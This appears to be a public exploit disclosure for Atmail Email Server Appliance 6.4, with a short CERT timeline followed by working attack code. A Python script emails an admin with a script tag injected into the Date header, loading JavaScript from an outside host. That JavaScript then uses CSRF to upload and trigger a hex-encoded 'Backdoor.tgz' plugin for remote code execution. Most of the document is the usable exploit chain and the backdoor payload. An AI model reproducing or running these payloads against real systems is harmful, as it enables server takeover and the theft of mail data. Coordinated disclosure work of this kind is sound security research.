Atmail Email Server Appliance 6.4 Stored XSS - CSRF - RCE

######################################################################################
# Exploit Title: Atmail Email Server Appliance 6.4 Remote Code Execution
# Date: Jul 21 2012
# Author: muts
# Version: Atmail Email Server 6.4
#
# By sending an email to a user with the Atmail administrative interface open, we
# can call a remote JavaScript file that will initiate the installation of a
# specially crafted plugin file via CSRF, enabling remote code execution on the
# Atmail server.
#
######################################################################################

Timeline:

29 May 2012: Vulnerability reported to CERT
30 May 2012: Response received from CERT with disclosure date set to 20 Jul 2012
21 Jul 2012: Public Disclosure

#!/usr/bin/python
import smtplib, urllib2, sys

def sendMail(dstemail, frmemail, smtpsrv, username, password):
 msg  = "From: admin@offsec.local\n"
 msg += "To: admin@offsec.local\n"
 msg += 'Date: <script src="http://172.16.164.1/~awae/atmail-rce.js"></script>\n'
 msg += "Subject: You haz been pwnd\n"
 msg += "Content-type: text/html\n\n"
 msg += "Oh noez, you been had."
 msg += '\r\n\r\n'
 server = smtplib.SMTP(smtpsrv)
 server.login(username,password)
 try:
  server.sendmail(frmemail, dstemail, msg)
 except Exception, e:
  print "[-] Failed to send email:"
  print "[*] " + str(e)
 server.quit()

username = "admin@offsec.local"
password = "123456"
dstemail = "admin@offsec.local"
frmemail = "admin@offsec.local"
smtpsrv  = "172.16.164.147"

if not (dstemail and frmemail and smtpsrv):
   sys.exit()

sendMail(dstemail, frmemail, smtpsrv, username, password)

#############################################################################################################

function timeMsg()
{
 var t=setTimeout("getShell()",5000);
}

function getShell()
{
 var b64url ="http://172.16.164.130/index.php/admin/plugins/add/file/QmFja2Rvb3IudGd6";
  xhr = new XMLHttpRequest();
 xhr.open("GET", b64url, true);
 xhr.send(null);

}
function fileUpload(url, fileData, fileName, nameVar, ctype) {

   var fileSize = fileData.length,
   boundary = "OWNEDBYOFFSEC",
   xhr = new XMLHttpRequest();
   xhr.open("POST", url, true);
   //  MIME POST request.
   xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary="+boundary);
   xhr.setRequestHeader("Content-Length", fileSize);
   var body = "--" + boundary + "\r\n";
   body += 'Content-Disposition: form-data; name="' + nameVar +'"; filename="' + fileName + '"\r\n';
   body += "Content-Type: " + ctype + "\r\n\r\n";
   body += fileData + "\r\n";
   body += "--" + boundary + "--";

   //xhr.send(body);
   xhr.sendAsBinary(body);
   return true;
}

var nameVar  = "newPlugin";
var fileName = "Backdoor.tgz";
var url      = "http://172.16.164.130/index.php/admin/plugins/preinstall";
var ctype    = "application/x-gzip";
//var ctype    = "application/octet-stream";
//var data     = "\x44\x41\x42\x43\x44";
var data     = '\x1F\x8B\x08\x00\x44\x7A\x91\x4F\x00\x03\xED\x59\xED\x72\xDB\xC6' +
'\x15\x55\x3B\xD3\xE9\x88\xFF\xDB\xDF\x1B\x8D\xA6\x22\x27\x24\x48' +
'\xF0\xD3\x96\x2A\x27\x34\x2D\xD9\x9C\xC8\x92\x86\x94\xE2\x7A\x9A' +
'\x0E\x67\x05\x2C\x49\x8C\x40\x00\xC6\x02\xA2\x99\xD4\xEF\xD1\xD7' +
'\xE8\x33\xF5\x45\x7A\xEE\x2E\x40\x91\x16\x4D\x53\x89\x46\x69\x63' +
'\xDC\x89\x4C\x12\xB8\x7B\xF7\xE2\xDC\xAF\xB3\x88\x51\x36\x06\x67' +
'\xC3\xA1\xF0\xA4\x73\x23\xFA\xC2\x8A\x43\x27\x9A\x6D\x3D\xAC\x54' +
'\x2A\x95\x56\xA3\xC1\xD4\x67\x53\x7F\x56\xAA\x75\xFD\x49\x52\xAB' +
'\xD7\x98\x69\xB6\xEA\xF5\x6A\xAB\x61\x56\x4C\x56\x31\x1B\x66\xB3' +
'\xB5\xC5\x2A\x0F\xEC\xC7\x4A\x89\x65\xC4\x43\xB8\x32\x89\x23\xB9' +
'\x4E\x0F\x6A\xC3\xE1\x9A\xFB\xFA\x51\xD8\xFC\xF3\xFF\x45\xFE\xF0' +
'\xE7\x3F\x6E\xFD\x7E\x6B\xEB\x35\xB7\xD8\x59\x9F\xFD\x8D\x25\x42' +
'\xD7\xB6\xB6\xF1\x57\xC5\xDF\xBF\xF1\x47\xBF\xFF\xB3\x99\xC9\xF6' +
'\xC5\x45\x2F\xF9\x4A\x2B\xFE\x85\xBF\xEF\x3E\x52\xF9\xDD\xED\xF5' +
'\x3F\x59\xFE\xC4\xE0\x41\xE0\x0A\xE3\x5D\xCC\x43\xEE\x45\x8E\x27' +
'\xB6\xDE\x95\x81\xA2\x79\x50\x1F\x3E\x35\x1B\x95\xE6\xD3\x83\xFE' +
'\xF5\x2C\x10\x07\xB5\x17\x4F\x6B\x4F\xDB\x95\x4E\xA9\xF2\xE2\x69' +
'\xA7\x54\x6F\x77\x9E\x97\x9E\x3C\x7D\xF2\xBC\x74\xD4\x79\x7E\x7C' +
'\xDC\x32\x6B\x95\xBA\x79\xF4\x4F\xB2\x27\x49\x5D\xFF\xFB\x00\x18' +
'\xFD\x86\xE5\x4E\xED\x97\x1F\x7E\x8F\xCF\xD5\x3F\xD5\xCB\x72\xFD' +
'\xD7\x9B\x54\xFF\x8D\x87\x77\xE5\xAE\x7C\xE1\xF5\x7F\x37\xFE\xC6' +
'\xE0\x39\xB7\xAE\x6D\xDF\x0F\x1F\x6A\x8F\x7B\xF4\xFF\x7A\xB3\x45' +
'\xF1\x6F\x36\x5A\x66\xD6\xFF\x1F\x45\xB2\xFE\xFF\x45\xCB\xDD\xFA' +
'\x4F\xAB\xFF\xE1\x06\xC1\x3D\xFA\x7F\x5A\xFF\xF5\x6A\x33\xEB\xFF' +
'\x8F\x21\x6B\xE2\x6F\x0C\x1C\xCF\x72\x63\x5B\xAC\xC5\x65\x03\xB9' +
'\x4F\xFF\x6F\x55\x6A\xAC\x52\xAD\xD4\x5A\xB5\xAC\xFF\x3F\x8A\x64' +
'\xFD\xFF\x8B\x96\x35\xF5\x9F\x56\xFF\x2F\x1E\x04\xF7\xE9\xFF\x49' +
'\xFD\x57\x6B\x95\xAC\xFF\x3F\x86\xAC\xED\xFF\xE7\x6E\x3C\x72\x3C' +
'\x23\x18\x07\xBF\x68\x0F\xE0\xD1\xAC\xD7\x37\x7B\xFF\x53\x69\xA8' +
'\xF8\x37\x2B\x8D\xAC\xFF\x3F\x8A\x64\xFD\xFF\x8B\x96\x35\xF5\xFF' +
'\x40\xD5\xFF\xD9\xFA\x37\x1B\xD5\xD6\xC7\xF5\x5F\x6B\x65\xF5\xFF' +
'\x28\xF2\xD7\x6F\x10\xDF\x9C\xE5\x72\x29\xD9\x9D\x5C\x98\xBF\x09' +
'\x4A\x26\x01\x13\xEF\x23\xE1\xD9\x92\xB5\xA3\x09\x77\xDC\x41\xC7' +
'\xF7\xA2\xD0\x77\x5D\x91\x2A\xE4\x7E\xCA\x6D\x07\xA1\x1F\x09\x2B' +
'\x12\x36\xDB\x1D\x04\xEA\xEA\x71\xEC\xBA\xA7\x7C\x22\xB6\xB7\x0F' +
'\xD9\x5E\x6A\x72\xEF\x60\x95\x6A\xC7\x9F\x04\xDC\x9B\x29\xCD\x3B' +
'\xEE\xAC\x5E\xD2\x8E\xA3\xB1\x1F\x2E\xAF\x60\xE9\x12\xE6\x78\x43' +
'\xFF\x5B\x3F\xBD\x5E\x92\xC9\x75\x03\x4D\xE2\x53\x1E\x04\xB3\xD0' +
'\x19\x8D\x23\x65\x91\xB2\x82\x96\x63\xDD\xA7\x97\x5C\x86\xEE\xB6' +
'\xD2\x9E\x4E\xA7\xC6\x7D\xF6\x3A\xC5\x05\xA9\x97\xAE\x56\xF8\x5E' +
'\x84\xD2\xF1\x3D\xA5\x51\x31\x2A\x86\xB9\x5A\xED\xB5\x6F\xC7\xAE' +
'\x86\x97\xE2\xB2\x06\x5A\xFD\x54\x4D\xC3\x34\x9A\x8C\xFE\x6D\x91' +
'\x2E\xB4\xE3\x2B\xD7\xB1\xD8\x30\xF6\xAC\x08\xFB\xB1\xC1\xC0\xF2' +
'\x3D\x19\x85\xB1\x15\xE5\x0B\xB9\x6D\x44\x75\x3B\xE0\xA1\xF0\xA2' +
'\xFD\xFD\xA5\x5B\x58\xBC\xBD\x1B\x8D\x1D\x59\x7A\x96\xEC\xF2\x42' +
'\x48\x2B\x74\x02\x65\xE5\x90\xED\xBC\xE2\xA1\x6D\xF9\x36\xDC\x40' +
'\x9A\x95\x26\xBE\x77\x2D\x66\x2C\x14\x37\x78\x2E\xC1\xE4\x58\xB8' +
'\x2E\x22\x24\x1D\x5B\x7C\xB5\x03\x5B\x1F\x56\xF9\x22\x45\x14\x07' +
'\xA9\x17\x6A\xC9\x40\xBC\x17\x56\x7E\x0F\x16\x59\x39\x96\x61\xD9' +
'\xF5\x2D\xEE\x96\xB9\xCA\xC9\xF2\x54\x5C\xA9\x4F\x9A\x28\x8E\xC5' +
'\xC9\x44\x79\xA2\xF0\x91\x65\x75\x43\xFB\x29\xCB\x9B\x30\x5F\x72' +
'\x3A\xF1\xB6\xA4\xB6\xA6\x6E\xC8\x9E\xB1\xB2\x2D\x6E\xCA\x1E\xD2' +
'\x9A\x55\x9F\xDD\x7E\xFF\xCB\x1E\x01\xF2\x61\x3B\xF7\x21\xF7\x6B' +
'\x97\xF5\xC6\xB2\x09\x0A\xC6\x60\x25\x0E\x1B\xEF\xB1\x39\xFF\xAB' +
'\xB7\xEA\xB5\x26\xFA\x7F\xBD\x41\xEF\x7F\xB2\xFE\xFF\x08\x92\xF1' +
'\xBF\x2F\x5A\x7E\x76\x17\xBC\xC7\x1E\xEB\xEB\xDF\xAC\x36\x9A\xAD' +
'\x8F\xEB\xBF\x56\xAD\x67\xF5\xFF\x18\xA2\xF9\x5F\xB9\xCC\xEE\x04' +
'\x99\x95\x58\x9B\xF5\x92\x51\xDD\xD7\xA3\x7A\x82\x2A\x9D\x80\x06' +
'\xA8\xB1\x8A\xC9\xCD\xCE\x5F\x9D\xD3\xE2\x39\x69\x62\xF9\x4E\x81' +
'\x55\x11\x67\x16\x40\x4D\xC8\x48\x8F\xFC\x6F\x97\x7E\x19\x9E\x88' +
'\xB0\x8A\x16\x5E\x80\x3B\xB0\xC8\xF7\x5D\x36\xE1\x33\x76\x25\x58' +
'\x2C\xC1\x15\x86\x7E\xC8\x5C\x31\xE2\x2E\x0B\xE2\x30\xF0\xA5\x90' +
'\xCC\xF7\xDC\x99\xC1\xD8\xA5\x84\x3B\x2C\xE2\xD7\x02\x04\x01\x1E' +
'\x85\x42\x06\xA0\x23\xCE\x95\xE3\x22\x77\xC9\x22\xAD\x05\x83\x64' +
'\x5C\xB1\x07\x09\x3F\x42\x5C\x9A\xC0\x6A\x2C\x1D\x6F\xC4\xA2\x74' +
'\x47\x58\xBB\x18\x0B\xC6\x15\x7D\x84\xBA\x25\x82\x48\x32\xCF\x67' +
'\xAE\xC3\x97\xCD\xD9\x7C\xC2\x47\x82\x59\x5C\x39\x77\x35\x5B\xB2' +
'\xD1\x1D\xE2\xA7\x00\x44\x91\x08\x27\x92\x81\x25\xC1\x46\x94\xD8' +
'\xE3\x57\x2E\x6E\xF8\x6C\xE6\xC7\x45\x52\xF3\xC8\xA4\xED\x2B\x8D' +
'\x98\xD6\xCC\x0D\x25\x78\x74\x3D\xC6\xF1\x58\x3E\x74\x43\xF5\x70' +
'\xE0\x70\x92\x56\xB2\x97\xE7\x27\xEC\x46\xD3\x41\x56\x65\x8A\xDD' +
'\x08\xB9\xBF\x08\x23\x28\xDF\x28\xE4\x13\x86\xAF\xC3\x50\x80\x5E' +
'\xF9\xC3\x68\x0A\x7F\x0E\x68\x7B\x78\xEF\xC1\xA0\xED\x80\xBA\x39' +
'\x57\x71\x24\x98\x03\x27\x3D\xBB\x8C\xE7\x03\x3D\x72\x86\xEA\x69' +
'\x71\x2D\xF6\x6C\x6C\x4D\x3B\xEA\x07\xF2\x87\x7A\xFB\xD3\x4B\xF6' +
'\x52\x78\x22\x44\x50\xCE\x35\x43\x3B\x71\x2C\xB4\x0E\xB1\xE8\x95' +
'\x54\x99\x44\xB7\x91\x42\x09\x54\x82\x1D\x93\x37\xFD\xC4\x1B\x76' +
'\xEC\x63\x0B\x95\x40\xC6\x27\xBC\xBF\x75\xD2\xA6\x1C\x23\x13\x63' +
'\x3F\x20\xB4\x78\x44\x2E\x4E\x1D\x40\xA4\x73\x05\x49\x50\x24\x13' +
'\x50\x66\x6F\xBA\x17\xAF\xCE\x2E\x2F\x58\xFB\xF4\x2D\x7B\xD3\xEE' +
'\xF5\xDA\xA7\x17\x6F\x0F\xA0\x8C\xF8\xE2\x2E\x12\x59\x9B\xA2\x24' +
'\x76\x60\x19\xCE\xD0\xB0\x99\xE1\x09\xC9\xC2\xEB\xA3\x5E\xE7\x15' +
'\x96\xB4\x9F\x77\x4F\xBA\x17\x6F\x19\x70\x39\xEE\x5E\x9C\x1E\xF5' +
'\xFB\xEC\xF8\xAC\x87\x52\x38\x6F\xF7\x2E\xBA\x9D\xCB\x93\x76\x8F' +
'\x9D\x5F\xF6\xCE\xCF\xFA\x47\x88\x7E\x5F\x90\x5B\x82\x0C\xAC\x41' +
'\x68\xA8\x40\xC6\xB3\xDB\x22\x02\x05\x95\xE9\x83\xBF\x45\x5C\x24' +
'\xBC\x73\x6D\x36\xE6\x38\xB5\x84\xC2\x12\x68\xC5\x36\xE3\xCC\x42' +
'\x45\x6D\x80\x3D\x77\x7D\x6F\x44\xA6\xE8\x31\x75\x3A\x25\x40\x1E' +
'\x30\x67\x48\x79\x56\x64\x53\xB4\x75\x95\x85\xEB\x62\x51\x44\xEA' +
'\x59\x86\xC2\xB2\x61\x42\x8B\x7B\xD7\x2E\xB0\xEF\x47\xD0\x87\x8D' +
'\x63\x67\x08\xFB\xC7\x2E\xE6\x42\x91\x3D\xF7\x65\x44\x2B\x5E\xB7' +
'\xD1\xAA\x4D\xB3\x52\xC2\xE0\x35\xD9\x65\xBF\x6D\xFC\x4F\x54\xF5' +
'\x26\x15\x49\x36\xE7\x45\xB9\xB6\x22\x29\x46\x64\x42\x78\x96\x1F' +
'\x87\xE8\x03\x36\x41\x29\x71\x0C\x46\x8C\x26\xD4\x0C\x65\x91\x72' +
'\x2A\xF4\x6F\x54\x6B\x94\x94\x39\x32\x1E\x8D\xD0\xEE\x94\xAB\x7A' +
'\xB3\x09\x62\x15\x6D\xD8\x14\x17\xCE\x50\xF4\xB3\x74\x2B\x73\x70' +
'\xB5\x82\xAE\x84\x09\xE1\x86\xEA\x46\x96\x5F\x51\x3C\xD9\x45\xE7' +
'\x1C\xBE\x79\x9E\xD0\x07\x28\xB8\xCB\x91\x5F\xE9\x41\xAC\x7B\x4E' +
'\x75\xCF\x02\x3F\x8C\x0C\x6D\x4F\x25\x9E\x13\x38\x70\x67\x5E\x5B' +
'\x23\x87\xEA\x85\x27\x67\xB4\x30\xF6\x3C\x82\x99\xEB\x5E\x04\xA6' +
'\x40\x87\x41\x02\x2C\x64\x79\x1E\x70\x6B\x4C\x18\x87\x13\xF4\xAE' +
'\x59\x21\x45\xEE\xC4\x99\x38\x7A\x52\xC8\x15\x8F\x01\xC0\xAC\x01' +
'\xAA\xDA\x53\xDE\xA0\xE0\x05\x9F\x0C\x70\xD6\x1B\x5C\xE1\x38\x77' +
'\x4D\x9B\x85\xE2\x5D\xEC\x00\x79\xCC\x98\x79\x8F\xA9\x1B\xB5\xAF' +
'\x8B\x84\x70\xE3\x6B\x32\x82\xC4\xA1\x22\x99\xAF\x76\x05\x9D\x4A' +
'\x91\x56\x6C\xE8\xB8\x54\x6E\x1A\x27\x1F\xD9\x15\xE2\x18\x19\x7A' +
'\xBA\x29\xCD\xF7\x86\xAE\x7A\xE0\x21\xAA\x52\xF9\xA1\xB5\xD8\x71' +
'\xFB\xA4\x7F\x94\xB4\xC2\x37\x8E\x67\xFB\x53\x55\xB3\x28\x1C\xC4' +
'\x11\x61\x0F\x60\xBD\x14\x39\xF8\xE1\x07\x3A\xCA\x2A\xCB\x84\xB0' +
'\x93\x3C\xB7\xB9\x40\x58\x1D\xA9\x07\x65\xDE\x75\x10\xA2\xC0\xF2' +
'\x22\xB7\x08\xE0\xA5\xF3\xBE\xA0\xA7\x0F\x55\x30\x16\x86\xF8\xC7' +
'\x45\x72\xDF\xC0\x0D\x4A\xD0\x14\xC1\x4B\x89\x7C\x9B\x63\xA7\x1C' +
'\x40\xF5\x8E\xA3\x28\xD8\x2F\x97\xEF\x64\x4F\x99\xD2\x76\x05\x5B' +
'\xA3\x46\x40\x13\x60\x24\x22\x20\x15\x5B\xD7\x46\x2E\x47\x40\x93' +
'\xFF\x03\x97\x82\xC4\xF2\x15\x9C\x5C\x77\xBF\x3F\xEA\xF5\xBB\x67' +
'\xA7\x74\x6E\x37\x8D\x0A\x0E\xE4\xBB\x4E\x80\x1F\x7B\x66\xAB\x6A' +
'\x98\x4D\xE3\xC9\x13\xC3\xAC\xD5\xF7\x0E\x18\xA3\x89\x8F\x5E\xF9' +
'\xF2\x88\x5D\xBC\xEA\xF6\x73\xBB\x94\x4B\x50\x34\xAB\xB5\xFA\x41' +
'\x72\x7E\xF8\x58\xC5\x1A\xC7\xDE\xF5\x40\x3A\x3F\x0A\x52\xAC\x57' +
'\x2A\xB0\xAE\x1A\xD3\x80\xE3\x02\x1D\x9F\x71\x41\x84\xA1\x1F\x2E' +
'\x5E\xD0\xFE\xC3\x85\xD8\xE3\x00\xBB\xC4\xD1\xCF\xD1\xD8\xEC\x03' +
'\x56\xBE\x72\xBC\xB2\x1C\xB3\x92\xB3\x07\x3D\x0D\x37\x14\xC9\xAC' +
'\x2D\xAE\xE2\x91\xFE\x9E\x16\x54\x12\x0D\x84\x2B\x06\x2C\xEE\x90' +
'\x20\x41\x1C\xD0\x61\xF4\x7C\xE6\x37\xBE\x63\xB3\x1F\xFD\xC9\x15' +
'\x86\x2A\x73\x39\x3A\x07\x2D\x55\x79\x4A\x51\x1B\x20\xA6\xD7\x34' +
'\x9A\xA8\x8C\x10\x29\x82\xF7\x36\x5C\x45\x35\x7E\x54\x22\xA1\x00' +
'\xFC\x29\xEA\x82\x8C\xA6\x39\xA0\x22\x88\x8D\x89\x62\xA9\xD4\x13' +
'\x52\xAA\x64\x5B\xDA\x15\x09\xF1\x06\x30\x8E\x51\x73\x51\x38\x33' +
'\x0C\x23\x07\x1F\xF3\xE9\x5B\x90\x81\x78\x8F\xA1\x28\xF3\x7B\xB7' +
'\xEE\xEC\x15\x0A\xEC\xA7\xDC\x36\x6C\x1F\x93\x73\x64\x50\x0D\x11' +
'\x2A\x50\xFD\xB2\x66\xBE\x19\x16\x47\xB9\xED\xDD\x00\xBB\x1D\x2E' +
'\x3C\x90\x7A\x7F\x93\xDB\xA6\x7D\xF4\xBD\x43\x56\x32\x95\xD1\xED' +
'\x20\x74\x70\x0E\x8B\xF2\x3B\x47\xBD\xDE\x59\x6F\x9F\x75\xB8\xB7' +
'\x17\x51\x66\x5F\xEF\xA8\x97\x3E\x64\x31\x6F\x16\xD2\x77\x36\xA9' +
'\x09\xBD\x58\xDD\x44\x46\xA9\x2C\x38\xD7\xAE\xD0\x35\x49\xDA\xCA' +
'\xE3\xD7\xD4\xB2\x16\x3B\xC9\x1C\x16\x74\x56\xA9\x2A\xDD\x15\x1C' +
'\xD5\xA7\xB4\xDF\x10\xB2\x34\x2A\xD0\x57\xD1\xC4\x89\x15\x0C\xD9' +
'\x54\x8D\xD5\x6B\x61\xEB\xDD\x55\x55\x51\xFF\x90\x8E\x8D\xAA\x5E' +
'\xF9\x28\x94\x5D\xE9\xA3\xA4\x9A\x77\x1F\x07\x40\xCD\xD3\xC9\x3C' +
'\xC8\x7D\x60\xC2\x45\xE2\xA8\x17\x9B\x89\x21\x90\x8B\xD3\xEE\xE9' +
'\xCB\x7D\x76\x8C\x04\xD0\xF3\x60\x1E\x6B\x55\xD7\x48\x14\xFC\x87' +
'\xEE\x15\xA9\x6E\x41\xB6\x28\x3C\x34\x63\x86\x3C\xE2\xAE\x41\xBB' +
'\x7E\x50\xE9\xD5\x19\x73\x6F\xA4\x73\x90\x49\x3E\x44\xCF\x42\xCB' +
'\xB3\xD0\xB1\x66\x39\x6B\x8C\xEF\xF9\x9D\x32\x29\x93\x6A\x0F\x5B' +
'\xDC\x08\x35\x06\xE3\x09\x97\xD7\x04\x81\xE3\x81\x28\x62\x1B\x3B' +
'\xA7\x2E\xA9\x3A\x4E\x93\x5E\x0F\xFC\xA5\x97\x6D\x94\x56\x49\x5E' +
'\x9F\x51\xEB\x4D\x6F\xDE\x4E\x0B\xD4\x1C\xDA\x2F\x1E\x7D\x48\x9F' +
'\xAA\x47\xA2\x0B\x14\x99\xAA\x71\x7C\xA0\x44\x3D\x5F\x7F\xA2\xEB' +
'\x16\x59\x8D\x76\xA4\x00\x7C\xA5\x16\x16\x96\x80\x4A\xB4\x90\x1B' +
'\x6A\x99\x06\x7B\x8E\xB5\x06\xA0\x1F\xF0\xA9\x97\x8C\x99\x24\x0B' +
'\xA8\x84\xE7\x8D\x1B\x0C\x18\xDE\x10\x57\x9B\xE5\x73\x68\x2C\x15' +
'\x76\xF8\x2C\xF9\xB9\x13\x38\x81\xD8\x29\xB2\x9D\x70\xA7\x50\x54' +
'\xC9\x26\x23\x1B\xA4\xC5\xA1\x3C\xA2\x7B\x9A\x31\xAA\x3C\x1B\x3B' +
'\x20\x59\xAA\x44\x31\x2A\xD0\xA3\x43\x7F\x42\xD6\xCC\x15\xD6\xA6' +
'\x0B\xD6\x88\x39\xAE\x37\x97\xB2\x2B\xB2\x56\x5D\x6D\x8D\xA5\xD6' +
'\x80\xC2\xA6\xD6\x28\x8E\xBB\x69\x55\x1C\x2E\x4C\x2C\xDD\x13\x11' +
'\x81\x65\x8C\x28\x42\x30\x2A\x69\x9D\x0A\x87\x23\x07\xA0\x51\x68' +
'\x3B\x96\xC8\xA7\x86\x0A\xCB\xE1\x59\xAA\x6D\x79\x1B\x87\x95\x61' +
'\x12\x8A\x42\x87\x33\x10\x24\xE2\x5B\xC4\x98\xBC\x52\x3A\xAB\x75' +
'\x7A\x72\xE9\x7B\xFB\xEC\xCC\xB2\xA8\x80\x89\x0A\x28\xAC\x65\xC2' +
'\x29\x48\xB5\x98\xD2\x70\x3F\x1E\x8D\x97\xC7\x36\xD8\x9A\xEB\x4A' +
'\xD5\x3A\xC7\x62\xC6\xA6\x3E\x9C\xCA\xAD\xA0\x05\x79\xFD\x9C\x7F' +
'\xAF\xFC\xA3\xC8\x28\xF7\xD6\xA8\x98\x9F\x57\xA9\xAE\x53\x91\xCA' +
'\x63\x55\x52\x73\xCC\xFA\xD4\x81\xA4\x24\x9A\x0A\x7E\x8E\x80\x08' +
'\xFB\xA3\xF7\xD9\x80\x06\x15\xB3\xAF\x0A\x46\x95\xEE\x74\x4C\x5C' +
'\x24\x6F\xA6\xED\xBA\x33\x16\xA8\x30\x62\x09\x44\x22\x41\x5F\x96' +
'\xF9\x9A\xEE\x67\x43\xE1\x0F\xB5\x07\x85\xD5\x1D\x59\x9F\xC8\x17' +
'\x69\x1E\xD8\xAE\xE3\x61\x74\xD9\xBA\xA7\x5D\xE1\x89\xAE\x0F\xE6' +
'\x2D\xF7\xCE\xAE\xFD\x8B\x17\x38\x2D\x2D\xEE\x96\xA2\xB6\x76\xC7' +
'\x34\x27\x3F\xB3\xDD\x1B\xAE\xCE\x92\x11\xF1\x2A\xD5\x03\xA9\x01' +
'\x22\xF7\x69\x73\xD0\x29\x8F\x25\xE8\x12\x59\x06\xA9\x52\x6B\x52' +
'\x35\x14\x5D\x90\xD4\x5D\x3A\x62\x89\xD2\x69\x87\x69\x05\xBE\xC1' +
'\x27\x34\x6A\xCA\x2F\xC5\x17\x74\xD1\x25\x36\x17\xC2\x3F\x0F\x33' +
'\xF9\xB8\xEB\xC5\x93\x81\xA5\x1A\xAE\x3D\x20\x55\xCC\x00\xAC\x5D' +
'\x66\x8F\x89\x4D\x2C\x4D\xE8\x89\x6E\x76\xC4\x4B\x8A\x8A\x96\x50' +
'\x48\xC9\xDB\xAE\x9A\x41\xFA\x58\x9D\x74\x14\x55\xCD\x14\x4D\x6D' +
'\xBC\xA8\x8E\x09\x4A\x19\x87\x2C\x4E\x99\x91\xA0\xB7\x27\xE9\x19' +
'\xBA\xA7\x1A\x7D\xC7\x1B\x2C\xFB\xAF\x5D\x48\xC2\xA0\x66\xAB\xE2' +
'\x34\x05\x76\x9B\x86\x67\x9D\xEF\x58\xEF\xA8\xFD\x42\x83\xBF\xEB' +
'\x78\x84\xD8\x21\x1D\xFC\xB9\x3D\xB7\x73\x4B\xBA\x94\xD6\x27\x2D' +
'\xED\x33\x6D\x40\x1B\x1B\xAA\x07\x5F\xAC\x33\x7D\xB7\x70\x1B\xDD' +
'\x4F\x3D\xFB\xD2\xE3\xA9\xEC\xA2\xC6\xA7\x62\x4E\x00\xA8\xC0\x47' +
'\x56\x70\x27\xDB\x6F\x11\x58\x08\xDD\x06\x28\xE8\x8C\xF8\x34\x0E' +
'\x0B\xD6\x36\xC2\x42\xD9\x5B\x8D\x46\x02\xE9\xCF\x42\x42\x25\xEB' +
'\xCF\x43\xA2\xBA\x31\x12\xD8\xE4\xB3\x48\x54\xEF\x81\x04\xEC\x6D' +
'\x8A\x04\xB0\x18\x5A\x2E\x4E\xF4\x49\xC7\x3A\x98\xFF\x4C\x73\xE8' +
'\xCE\x25\xF3\xEE\x25\x55\xA4\x6A\xD0\xA5\x97\x93\xA9\xA5\xE9\xCF' +
'\x89\x3A\x43\x91\x83\x9A\x6F\xDB\xBE\xA0\xD7\x75\x7A\x1E\x29\x42' +
'\xB8\x07\x76\x34\x27\x62\x76\xCA\xF5\x69\x6D\xBE\x4B\x21\x22\x06' +
'\xEB\x8C\xE2\x90\x8E\x01\x11\x1B\x83\xA8\xA3\x22\xE9\x9D\x18\x31' +
'\xAE\xB4\xBD\xA8\xA3\x1A\xA7\xF8\x05\x22\x3D\xC7\x15\x72\xF3\xFF' +
'\x1B\x99\x20\x04\xC8\xE8\x1D\x95\x37\x52\x31\xD1\xFC\x27\xD1\xBD' +
'\xED\x9D\x6C\x27\x51\xFA\xC1\xDB\x49\x71\xFA\xE6\x19\xCB\x41\x7E' +
'\xED\xD7\xBE\x99\x64\x92\x49\x26\x99\x64\x92\x49\x26\x99\x64\x92' +
'\x49\x26\x99\x64\x92\x49\x26\x99\x64\x92\x49\x26\x99\x64\x92\xC9' +
'\x6F\x58\xFE\x0B\x3E\xE1\xD0\x84\x00\x50\x00\x00';

// UPLOAD THE THINGIE...
fileUpload(url,data,fileName,nameVar,ctype);
timeMsg();